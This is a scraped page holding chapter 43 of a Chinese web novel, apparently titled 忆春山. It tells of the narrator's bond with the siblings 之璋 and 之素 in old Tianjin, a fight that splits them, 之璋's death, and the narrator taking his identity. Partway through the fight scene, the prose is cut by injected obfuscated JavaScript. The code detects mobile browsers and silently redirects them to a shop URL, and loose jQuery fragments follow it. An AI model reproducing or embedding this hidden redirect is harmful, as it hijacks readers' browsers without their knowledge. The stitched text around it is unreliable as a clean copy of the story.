43. 第四十三章

作品:《忆春山

    之素的病渐渐好转起来,至少不再是卧床不起,她的脸色也渐渐红润起来。白天我和之璋在外面做零工时,她在家做些简单的家务活,三个人的日子就这样慢慢过着。


    有一天晚上之素看见一只肥硕的大老鼠,唰得一下从墙角根溜走,之素吓得大叫起来,我和之璋则哈哈大笑,说我们的日子也算是好起来了,老鼠也来光顾了。


    又过了一段时间,之璋执意要扯一块布帘,我不知道这究竟有何用处,到了家他才风风火火得干起来,他踩着凳子在之素床的墙头钉了三根钉子,又用铁丝连起来,然后将布帘把之素的床围了起来。


    我本以为这小子是在防我,怕我对他妹妹有什么不轨之心,为此还生闷气,故意冷落了他一段时间,后来才知道那时候之素初来经事,她已经不方便在和我们住在一起,该避嫌了,得单独给她隔出一个空间来,让她有个自己的地方。


    我和之璋则还挤在一起,我晚上睡觉不安分,总是爱磨牙踢腿,之璋的身板小,本来他睡在外侧,连着好几夜被我蹬到床下去。后来让他睡在里侧,我们二人头朝脚着睡,可他又嫌我的脚臭,于是我们便睡在同一侧。


    之璋睡觉的时候非常安静,他临睡前都会背对着我,将身体侧向墙那边,我看见他单薄崎岖的后背,总有种想要捋抚的冲动,早上起来他通常会面向我,那时候他的脸更显得白皙,有时候恍惚间,我都分不清他和之素。


    我早该知道他们两个绝不是小门小户家的孩子,他们的名字就昭示着他们出身一定不凡。


    之璋从不谈他们的父母,就好像他们两个对自己的父母毫无感情一般,我却总是回忆母亲,回忆她做的韭菜包子。


    后来之璋对金钱的喜爱简直到了疯狂的地步,他经常对着那些从利顺德大饭店走出来的名流豪绅发呆,他会装模作样得模仿他们的样子,像个滑稽的小丑。


    十五岁的一个晚上,我和之璋买了酒,坐在湖边的石桥上,夏夜的晚风轻吹着我们的衣衫。


    “我一定要混出个人样。”


    他煞有介事地说。


    “好,兄弟陪你,以后就让我们两个人玩转这整个天津卫。”我毫不扫兴。


    之璋看着那悠悠的湖水上倒映的月亮,就像是谁的眼睛。


    “我不再偷了,我要做那些人做的事情。”


    “哪些人?”话一说出来我就知道他指的是哪些人,便立马紧跟着说:“做什么?”


    “盛世读书,乱世参军。”


    “你怎么突然有种想法?”我颇为不解,那时候的我并没有抱负,也没有想过未来。


    他沉默了很久,像是在揭开一块很疼的伤疤。


    “我给你讲个故事,从前有个大户人家的女儿,还未有婚事,却大了肚子,她家里人怎么问她她都不肯说,后来她诞下两子,在家里受尽白眼与冷落,终得了一场大病,她把她的大孩子拉到床边,告诉她大孩子他亲生父亲的名字便撒手人寰。那女人死后,家族的人便把这两个孩子赶出府……”


    说完他沉默了许久,那时的我瞬间就明白他说的是他和之素。


    他说他父亲是个响当当的人物,但是他不敢去找他,他本应该对他充满了恨,但是在经历越多的穷困潦倒之后,他父亲那名声与光环便越发得耀眼,自己便越卑微鄙陋,以至于让他对这个素未谋面的父亲产生了臣服与景仰。


    他不愿意以一个在暗巷里靠第三只手过活的混小子的面目去见他,他希望他是他骄傲的孩子,就像是他的左右手,一个军功赫赫或者才华横溢的儿子。


    那晚他喝得醉醺醺的,脸色泛红,他本来意气风发得说着他的宏伟抱负,畅快得大笑着,但是不知为何他一转头看向我,就像是我脸上有什么刺,猛戳了他的心脏,他的身形忽而晃了一下,就像是谁拿捏了他心底埋藏的把柄,他像是个罪孽深重的罪人原型毕露。


    他瞬间冷下脸来,看上去非常沮丧,好像刚才的豪言壮语都是个笑话一样。


    他从石桥上跳下来,晃晃悠悠得往回走。


    “喂!怎么不等我。”我在身后喊着,谁知他一听见,跑得越发得快了。


    自那天以后,我们两之间有种莫名的隔阂,两个人很少说话,他也正如他所说他不再扒窃,他白天已经不和我一起出行,我们两各自穿梭在天津城,互不相干。


    我想不通,他究竟因为什么事情这样对我,真有些神经质。我也烦躁得生着闷气。而导致我们关系恶化,最终分道扬镳是在那个下午。


    那天下午天气很热,我便早早回到家,之素在家里糊纸箱。我拉开凳子坐在她的旁边,她抬头朝我浅浅得笑了。之素总是穿着她哥哥的衣服,她说这样男孩子装扮也会安全一些。


    “陆潼哥,你这几日和我哥吵架了吗?”


    “没有啊。”我懒懒得回答说。


    “我哥总喜欢生闷气,他就是死要面子活受罪,拉不下脸来,要是稍微一哄就好了。”之素笑着说。


    “嗯……”


    之素的手非常麻利,一手蘸完浆糊,接着两个手并用翻折,二十秒就能粘一个。


    “你和你哥的手都小。”


    说完不知什么力量驱动着我,我的手竟鬼斧神差得向之素的手伸去,当我的手覆在她的手时,她忽然停了下来,抬头看着我。


    而我却仔细看着那双手,忽然那双手就变成一只扒窃的手,在不同人的口袋中翻来翻去……


    “陆潼哥……”


    之素轻轻唤了我一声,我这才恍然抬头看着她,她的脸很小,皮肤很白皙,她和她哥一样,剑眉星目。


    我挺直了上身,向之素靠近,在她的脸上轻轻吻了一下。


    这时,门口突然有东西打碎的声音,我们回头一看,只见之璋像是一具发怒的泥塑定在门口,他瞪大了眼睛,愠怒的他猛地朝我扑过来。


    我们之间矛盾一下被激发,我们厮打起来,他将我推倒在地,可他又岂是我的对手,我翻身将他按在地上


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16981101|193582||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,用力得扼住他,可是他却似发狂一般,咬着牙满脸的恨意,四肢不住地踢打着我。


    “别打了,快住手!”之素在一旁尖叫着,拉着我的胳膊,想将我俩个分开。


    我们两互瞪着眼睛,谁也不开口说一句话,就那样一直看着。


    不知过了多久,硝烟渐渐熄灭,我们两像是泄气的皮球,臊眉搭眼地瘫坐在地上,之素围在她哥面前不停得哭着。


    那天,他们一句话也没有说,从房子里搬走了。


    后来我没了他们的音信,我曾去那个石桥洞找过他们,他们也已经不在那了。我突然感觉很想哭,我蹲在那个石桥洞下,觉得心起了很多褶皱,怎么也捋不平。


    我望着外环河水,默默得为之璋祝愿着


    “你一定要混个好样的。”


    可是我等来的不是之璋声名大噪的那天,来得更快的是他的死讯。


    那天暴雨,我在家中喝酒,忽听见门外有人擂门,我开门一看,只见之素像个怨鬼,神色惊恐得看着我,她嘴里喃喃不停得说:“陆潼哥,我哥……我哥快被人打死了……”


    我疯了一般拉着之素冲进雨里,那一刻我的大脑混乱不堪,急雨打在我的脸上,我觉得我像在逆流的洪水里,快要窒息。


    他死了,就像过街老鼠一样被人打死了,他脑袋中流出来的血都顺着雨水流进那个阴沟里了。


    他又开始扒窃了,他放弃他所说的那些希望与理想了,绝望的他在这底层寻不到光明的路。他穷困潦倒,无耻卑劣,自甘堕落……


    我又将之素接回来了,但自从之璋死后,之素便又生了一场大病,几乎快要挺不过来了。我每日悉心照顾她,二人从不逾矩,每次看到她的脸我就想起之璋,心就像被狠狠剜了一下。


    有一天,一个西装革履,看上去身份不凡的人走进我们的小屋,他问我们是不是叫之璋和之素。


    他的面容很冷峻,我一下子就想到了之璋给我讲过的他的那个父亲。


    我正踌躇不知道如何回答,病床的之素却慢悠悠,似是一个幽灵:


    “他是之璋,我是之素。”


    我们就这样被先生带走了,可他却未曾向外人说明我们的身份,我记得他对他父亲的憧憬与敬畏,明白他死前还未了却的心愿和执念。


    之素在我们被接走之后不久便离世了,她弥留之际在床畔那殷切的眼神望着我,我明白她什么都知道。


    之素被先生葬在了西山墓园,那里风和水秀,背靠青山,是天津城富人首选。后来我也悄悄将之素身旁的墓位买下,将之璋迁至此地。


    那是无名碑,未写他的姓名,因为今后我要他的身份活下去,成为之璋最想成为的那种人。


    我经常去西山墓园,有时候为了静心,大多时候还是去为了看他们。西山墓园有很多布谷,他们没有遵循昼伏夜出的规则,而是日夜啼鸣。


    我对布谷渐渐有了别样的感情,恐怕是鸠占鹊巢,借尸还魂的缘故。